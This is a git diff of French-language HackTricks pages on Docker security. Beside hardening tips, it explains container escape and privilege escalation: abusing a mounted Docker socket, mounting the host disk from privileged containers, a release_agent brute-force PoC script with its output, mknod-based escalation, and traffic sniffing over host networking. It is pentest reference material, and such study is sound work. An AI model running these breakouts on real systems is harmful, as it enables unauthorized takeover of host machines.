* **Ajuster les profils** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis.
|
||||||
* **Utiliser des** [**images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exiger des signatures** ou construire les vôtres basées sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stocker également les clés racines, les phrases secrètes dans un endroit sûr. Docker a des plans pour gérer les clés avec UCP.
|
* **Utiliser des** [**images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exiger des signatures** ou construire les vôtres basées sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stocker également les clés racines, les phrases secrètes dans un endroit sûr. Docker a des plans pour gérer les clés avec UCP.
|
||||||
* **Reconstruire régulièrement** vos images pour **appliquer les correctifs de sécurité à l'hôte et aux images**.
|
* **Reconstruire régulièrement** vos images pour **appliquer les correctifs de sécurité sur l'hôte et les images**.
|
||||||
* Gérez vos **secrets de manière judicieuse** pour qu'il soit difficile pour l'attaquant d'y accéder.
|
* Gérez vos **secrets de manière judicieuse** pour qu'il soit difficile pour l'attaquant d'y accéder.
|
||||||
* Si vous **exposez le démon Docker, utilisez HTTPS** avec une authentification client et serveur.
|
* Si vous **exposez le démon Docker, utilisez HTTPS** avec une authentification client et serveur.
|
||||||
* Dans votre Dockerfile, **privilégiez COPY à la place de ADD**. ADD extrait automatiquement les fichiers compressés et peut copier des fichiers à partir d'URL. COPY n'a pas ces capacités. Dans la mesure du possible, évitez d'utiliser ADD pour ne pas être vulnérable aux attaques via des URL distantes et des fichiers Zip.
|
* Dans votre Dockerfile, **privilégiez COPY à la place de ADD**. ADD extrait automatiquement les fichiers zippés et peut copier des fichiers à partir d'URL. COPY n'a pas ces capacités. Dans la mesure du possible, évitez d'utiliser ADD pour ne pas être vulnérable aux attaques via des URL distantes et des fichiers Zip.
|
||||||
* Avoir des **conteneurs séparés pour chaque micro-service**.
|
* Avoir des **conteneurs séparés pour chaque micro-service**.
|
||||||
* **Ne pas mettre ssh** à l'intérieur du conteneur, "docker exec" peut être utilisé pour ssh vers le conteneur.
|
* **Ne pas mettre ssh** à l'intérieur du conteneur, “docker exec” peut être utilisé pour ssh vers le conteneur.
|
||||||
* Avoir des **images de conteneurs plus petites**
|
* Avoir des **images de conteneurs plus petites**.
|
||||||
Autres façons de soutenir HackTricks :
|
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
## Évasion / Élévation de privilèges Docker
|
||||||
|
|
||||||
|
Si vous êtes **à l'intérieur d'un conteneur Docker** ou avez accès à un utilisateur dans le **groupe docker**, vous pourriez essayer de **vous échapper et d'escalader les privilèges**:
|
||||||
|
|
||||||
|
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||||
|
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Contournement du Plugin d'Authentification Docker
|
||||||
|
|
||||||
|
Si vous avez accès au socket Docker ou avez accès à un utilisateur dans le **groupe docker mais que vos actions sont limitées par un plugin d'authentification Docker**, vérifiez si vous pouvez **le contourner**:
|
||||||
|
|
||||||
|
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||||
|
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Durcissement de Docker
|
||||||
|
|
||||||
|
* L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de bonnes pratiques courantes autour du déploiement de conteneurs Docker en production. Les tests sont tous automatisés et sont basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||||
|
Vous devez exécuter l'outil à partir de l'hôte exécutant Docker ou d'un conteneur avec suffisamment de privilèges. Découvrez **comment l'exécuter dans le README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||||
|
|
||||||
|
## Références
|
||||||
|
|
||||||
|
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||||
|
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
|
||||||
|
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||||
|
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
|
||||||
|
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||||
|
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
|
||||||
|
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
|
||||||
|
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||||
|
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||||
|
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||||
|
* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
|
||||||
|
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||||
|
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
D'autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -9,15 +9,15 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -26,13 +26,13 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) : Il peut également **énumérer les conteneurs**
|
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) : Il peut également **énumérer les conteneurs**
|
||||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery) : Cet outil est assez **utile pour énumérer le conteneur dans lequel vous vous trouvez et même essayer de s'échapper automatiquement**
|
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery) : Cet outil est assez **utile pour énumérer le conteneur dans lequel vous vous trouvez et même essayer de s'échapper automatiquement**
|
||||||
* [**amicontained**](https://github.com/genuinetools/amicontained) : Outil utile pour obtenir les privilèges du conteneur afin de trouver des moyens de s'échapper
|
* [**amicontained**](https://github.com/genuinetools/amicontained) : Outil utile pour obtenir les privilèges dont dispose le conteneur afin de trouver des moyens de s'échapper
|
||||||
* [**deepce**](https://github.com/stealthcopter/deepce) : Outil pour énumérer et s'échapper des conteneurs
|
* [**deepce**](https://github.com/stealthcopter/deepce) : Outil pour énumérer et s'échapper des conteneurs
|
||||||
* [**grype**](https://github.com/anchore/grype) : Obtenez les CVE contenus dans le logiciel installé dans l'image
|
* [**grype**](https://github.com/anchore/grype) : Obtenez les CVE contenus dans le logiciel installé dans l'image
|
||||||
|
|
||||||
## Évasion du Socket Docker Monté
|
## Évasion du Socket Docker Monté
|
||||||
|
|
||||||
Si vous découvrez que le **socket docker est monté** à l'intérieur du conteneur Docker, vous pourrez vous échapper.\
|
Si vous découvrez que le **socket docker est monté** à l'intérieur du conteneur Docker, vous pourrez vous en échapper.\
|
||||||
Cela se produit généralement dans les conteneurs Docker qui, pour une raison quelconque, doivent se connecter au démon Docker pour effectuer des actions.
|
Cela se produit généralement dans les conteneurs Docker qui, pour une raison quelconque, doivent se connecter au démon Docker pour effectuer des actions.
|
||||||
```bash
|
```bash
|
||||||
#Search the socket
|
#Search the socket
|
||||||
|
@ -57,7 +57,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
|
||||||
Au cas où le **socket docker est à un emplacement inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///chemin/vers/docker.sock`**
|
Au cas où le **socket docker est à un emplacement inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///chemin/vers/docker.sock`**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Le démon Docker peut également [écouter sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`.
|
Le démon Docker peut également être [en écoute sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
De plus, faites attention aux sockets d'exécution d'autres runtimes de haut niveau :
|
De plus, faites attention aux sockets d'exécution d'autres runtimes de haut niveau :
|
||||||
|
@ -70,7 +70,7 @@ De plus, faites attention aux sockets d'exécution d'autres runtimes de haut niv
|
||||||
* ...
|
* ...
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Évasion de l'abus des capacités
|
## Évasion de l'abus de capacités
|
||||||
|
|
||||||
Vous devriez vérifier les capacités du conteneur, s'il possède l'une des suivantes, vous pourriez être en mesure de vous échapper : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
Vous devriez vérifier les capacités du conteneur, s'il possède l'une des suivantes, vous pourriez être en mesure de vous échapper : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||||
|
|
||||||
|
@ -78,7 +78,7 @@ Vous pouvez vérifier les capacités actuelles du conteneur en utilisant les **o
|
||||||
```bash
|
```bash
|
||||||
capsh --print
|
capsh --print
|
||||||
```
|
```
|
||||||
Sur la page suivante, vous pouvez **en savoir plus sur les capacités de Linux** et comment les abuser pour échapper/escalader les privilèges :
|
Sur la page suivante, vous pouvez **en apprendre davantage sur les capacités de Linux** et comment les abuser pour échapper/escalader les privilèges :
|
||||||
|
|
||||||
{% content-ref url="../../linux-capabilities.md" %}
|
{% content-ref url="../../linux-capabilities.md" %}
|
||||||
[linux-capabilities.md](../../linux-capabilities.md)
|
[linux-capabilities.md](../../linux-capabilities.md)
|
||||||
|
@ -122,11 +122,11 @@ docker run --rm -it --privileged ubuntu bash
|
||||||
```
|
```
|
||||||
#### Montage du disque - Poc1
|
#### Montage du disque - Poc1
|
||||||
|
|
||||||
Les conteneurs Docker bien configurés n'autoriseront pas des commandes telles que **fdisk -l**. Cependant, sur une commande Docker mal configurée où le drapeau `--privileged` ou `--device=/dev/sda1` avec des privilèges est spécifié, il est possible d'obtenir les privilèges pour voir le lecteur hôte.
|
Les conteneurs Docker bien configurés ne permettront pas des commandes telles que **fdisk -l**. Cependant, sur une commande Docker mal configurée où le drapeau `--privileged` ou `--device=/dev/sda1` avec des capacités est spécifié, il est possible d'obtenir les privilèges pour voir le lecteur hôte.
|
||||||
|
|
||||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||||
|
|
||||||
Ainsi, pour prendre le contrôle de la machine hôte, c'est trivial:
|
Donc, pour prendre le contrôle de la machine hôte, c'est trivial:
|
||||||
```bash
|
```bash
|
||||||
mkdir -p /mnt/hola
|
mkdir -p /mnt/hola
|
||||||
mount /dev/sda1 /mnt/hola
|
mount /dev/sda1 /mnt/hola
|
||||||
|
@ -135,7 +135,7 @@ Et voilà ! Vous pouvez désormais accéder au système de fichiers de l'hôte c
|
||||||
|
|
||||||
#### Montage du disque - Poc2
|
#### Montage du disque - Poc2
|
||||||
|
|
||||||
Au sein du conteneur, un attaquant peut tenter d'obtenir un accès supplémentaire au système d'exploitation hôte sous-jacent via un volume hostPath inscriptible créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier dans le conteneur pour voir si vous pouvez exploiter ce vecteur d'attaque :
|
À l'intérieur du conteneur, un attaquant peut tenter d'obtenir un accès supplémentaire au système d'exploitation hôte sous-jacent via un volume hostPath inscriptible créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier à l'intérieur du conteneur pour voir si vous pouvez exploiter ce vecteur d'attaque :
|
||||||
```bash
|
```bash
|
||||||
### Check if You Can Write to a File-system
|
### Check if You Can Write to a File-system
|
||||||
echo 1 > /proc/sysrq-trigger
|
echo 1 > /proc/sysrq-trigger
|
||||||
|
@ -248,7 +248,7 @@ Trouvez une **explication de la technique** dans :
|
||||||
|
|
||||||
#### Évasion des privilèges en abusant de release\_agent sans connaître le chemin relatif - PoC3
|
#### Évasion des privilèges en abusant de release\_agent sans connaître le chemin relatif - PoC3
|
||||||
|
|
||||||
Dans les exploits précédents, le **chemin absolu du conteneur à l'intérieur du système de fichiers de l'hôte est divulgué**. Cependant, ce n'est pas toujours le cas. Dans les cas où vous **ne connaissez pas le chemin absolu du conteneur à l'intérieur de l'hôte**, vous pouvez utiliser cette technique :
|
Dans les exploits précédents, le **chemin absolu du conteneur à l'intérieur du système de fichiers hôte est divulgué**. Cependant, ce n'est pas toujours le cas. Dans les cas où vous **ne connaissez pas le chemin absolu du conteneur à l'intérieur de l'hôte**, vous pouvez utiliser cette technique :
|
||||||
|
|
||||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||||
|
@ -312,7 +312,7 @@ sleep 1
|
||||||
echo "Done! Output:"
|
echo "Done! Output:"
|
||||||
cat ${OUTPUT_PATH}
|
cat ${OUTPUT_PATH}
|
||||||
```
|
```
|
||||||
L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à :
|
Exécuter le PoC dans un conteneur privilégié devrait fournir une sortie similaire à :
|
||||||
```bash
|
```bash
|
||||||
root@container:~$ ./release_agent_pid_brute.sh
|
root@container:~$ ./release_agent_pid_brute.sh
|
||||||
Checking pid 100
|
Checking pid 100
|
||||||
|
@ -345,11 +345,11 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||||
Il existe plusieurs fichiers qui pourraient être montés et qui donnent des **informations sur l'hôte sous-jacent**. Certains d'entre eux peuvent même indiquer **quelque chose à exécuter par l'hôte lorsqu'un événement se produit** (ce qui permettrait à un attaquant de s'échapper du conteneur).\
|
Il existe plusieurs fichiers qui pourraient être montés et qui donnent des **informations sur l'hôte sous-jacent**. Certains d'entre eux peuvent même indiquer **quelque chose à exécuter par l'hôte lorsqu'un événement se produit** (ce qui permettrait à un attaquant de s'échapper du conteneur).\
|
||||||
L'abus de ces fichiers peut permettre :
|
L'abus de ces fichiers peut permettre :
|
||||||
|
|
||||||
* release\_agent (déjà abordé précédemment)
|
- release\_agent (déjà abordé précédemment)
|
||||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||||
|
|
||||||
Cependant, vous pouvez trouver **d'autres fichiers sensibles** à vérifier sur cette page :
|
Cependant, vous pouvez trouver **d'autres fichiers sensibles** à vérifier sur cette page :
|
||||||
|
|
||||||
|
@ -377,9 +377,9 @@ bash -p #From non priv inside mounted folder
|
||||||
### Élévation de privilèges avec 2 shells
|
### Élévation de privilèges avec 2 shells
|
||||||
|
|
||||||
Si vous avez un accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez abuser des deux shells pour **élever les privilèges à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans ce post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
Si vous avez un accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez abuser des deux shells pour **élever les privilèges à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans ce post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||||
Avec une telle capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphériques blocs**. Les fichiers de périphériques sont des fichiers spéciaux utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique bloc /dev/sda donne accès à **lire les données brutes sur le disque du système**.
|
Avec une telle capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphérique bloc**. Les fichiers de périphérique sont des fichiers spéciaux utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique bloc /dev/sda donne accès à **lire les données brutes sur le disque du système**.
|
||||||
|
|
||||||
Docker se protège contre l'abus des fichiers de périphériques blocs à l'intérieur des conteneurs en imposant une politique cgroup qui **bloque les opérations de lecture/écriture des fichiers de périphériques blocs**. Néanmoins, si un fichier de périphérique bloc est **créé à l'intérieur du conteneur**, il devient accessible depuis l'extérieur du conteneur via le répertoire **/proc/PID/root/**. Cet accès nécessite que le **propriétaire du processus soit le même** à la fois à l'intérieur et à l'extérieur du conteneur.
|
Docker se protège contre l'abus des fichiers de périphérique bloc à l'intérieur des conteneurs en imposant une politique cgroup qui **bloque les opérations de lecture/écriture des fichiers de périphérique bloc**. Néanmoins, si un fichier de périphérique bloc est **créé à l'intérieur du conteneur**, il devient accessible depuis l'extérieur du conteneur via le répertoire **/proc/PID/root/**. Cet accès nécessite que le **propriétaire du processus soit le même** à la fois à l'intérieur et à l'extérieur du conteneur.
|
||||||
|
|
||||||
Exemple d'**exploitation** de ce [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
Exemple d'**exploitation** de ce [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||||
```bash
|
```bash
|
||||||
|
@ -454,9 +454,9 @@ Si vous avez d'une manière ou d'une autre un **accès privilégié sur un proce
|
||||||
```
|
```
|
||||||
docker run --rm -it --network=host ubuntu bash
|
docker run --rm -it --network=host ubuntu bash
|
||||||
```
|
```
|
||||||
Si un conteneur est configuré avec le pilote de réseau Docker [host (`--network=host`)](https://docs.docker.com/network/host/), la pile réseau de ce conteneur n'est pas isolée de l'hôte Docker (le conteneur partage l'espace de nom réseau de l'hôte) et le conteneur ne reçoit pas d'adresse IP propre. En d'autres termes, le **conteneur lie tous les services directement à l'IP de l'hôte**. De plus, le conteneur peut **intercepter TOUT le trafic réseau que l'hôte** envoie et reçoit sur l'interface partagée `tcpdump -i eth0`.
|
Si un conteneur est configuré avec le pilote de réseau Docker [host (`--network=host`)](https://docs.docker.com/network/host/), la pile réseau de ce conteneur n'est pas isolée de l'hôte Docker (le conteneur partage l'espace réseau de l'hôte) et le conteneur ne reçoit pas d'adresse IP propre. En d'autres termes, le **conteneur lie tous les services directement à l'IP de l'hôte**. De plus, le conteneur peut **intercepter TOUT le trafic réseau que l'hôte** envoie et reçoit sur l'interface partagée `tcpdump -i eth0`.
|
||||||
|
|
||||||
Par exemple, vous pouvez utiliser cela pour **sniffer et même falsifier le trafic** entre l'hôte et l'instance de métadonnées.
|
Par exemple, vous pouvez utiliser cela pour **sniffer voire falsifier le trafic** entre l'hôte et l'instance de métadonnées.
|
||||||
|
|
||||||
Comme dans les exemples suivants :
|
Comme dans les exemples suivants :
|
||||||
|
|
||||||
|
@ -489,7 +489,7 @@ La deuxième technique expliquée dans l'article [https://labs.withsecure.com/bl
|
||||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui à :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -519,7 +519,7 @@ Il existe d'autres CVE auxquelles le conteneur peut être vulnérable, vous pouv
|
||||||
* **Espaces de noms :** Le processus doit être **complètement séparé des autres processus** via des espaces de noms, donc nous ne pouvons pas échapper à l'interaction avec d'autres processus en raison des espaces de noms (par défaut, ne peut pas communiquer via IPC, sockets Unix, services réseau, D-Bus, `/proc` d'autres processus).
|
* **Espaces de noms :** Le processus doit être **complètement séparé des autres processus** via des espaces de noms, donc nous ne pouvons pas échapper à l'interaction avec d'autres processus en raison des espaces de noms (par défaut, ne peut pas communiquer via IPC, sockets Unix, services réseau, D-Bus, `/proc` d'autres processus).
|
||||||
* **Utilisateur root :** Par défaut, l'utilisateur exécutant le processus est l'utilisateur root (cependant, ses privilèges sont limités).
|
* **Utilisateur root :** Par défaut, l'utilisateur exécutant le processus est l'utilisateur root (cependant, ses privilèges sont limités).
|
||||||
* **Capacités :** Docker laisse les capacités suivantes : `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
* **Capacités :** Docker laisse les capacités suivantes : `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||||
* **Appels système :** Ce sont les appels système que l'**utilisateur root ne pourra pas appeler** (en raison du manque de capacités + Seccomp). Les autres appels système pourraient être utilisés pour tenter de s'échapper.
|
* **Appels système :** Ce sont les appels système que l'**utilisateur root ne pourra pas appeler** (en raison du manque de capacités + Seccomp). Les autres appels système pourraient être utilisés pour essayer de s'échapper.
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Appels système x64" %}
|
{% tab title="Appels système x64" %}
|
||||||
|
@ -545,7 +545,7 @@ Il existe d'autres CVE auxquelles le conteneur peut être vulnérable, vous pouv
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% onglet title="appels système arm64" %}
|
{% onglet title = "appels système arm64" %}
|
||||||
```
|
```
|
||||||
0x029 -- pivot_root
|
0x029 -- pivot_root
|
||||||
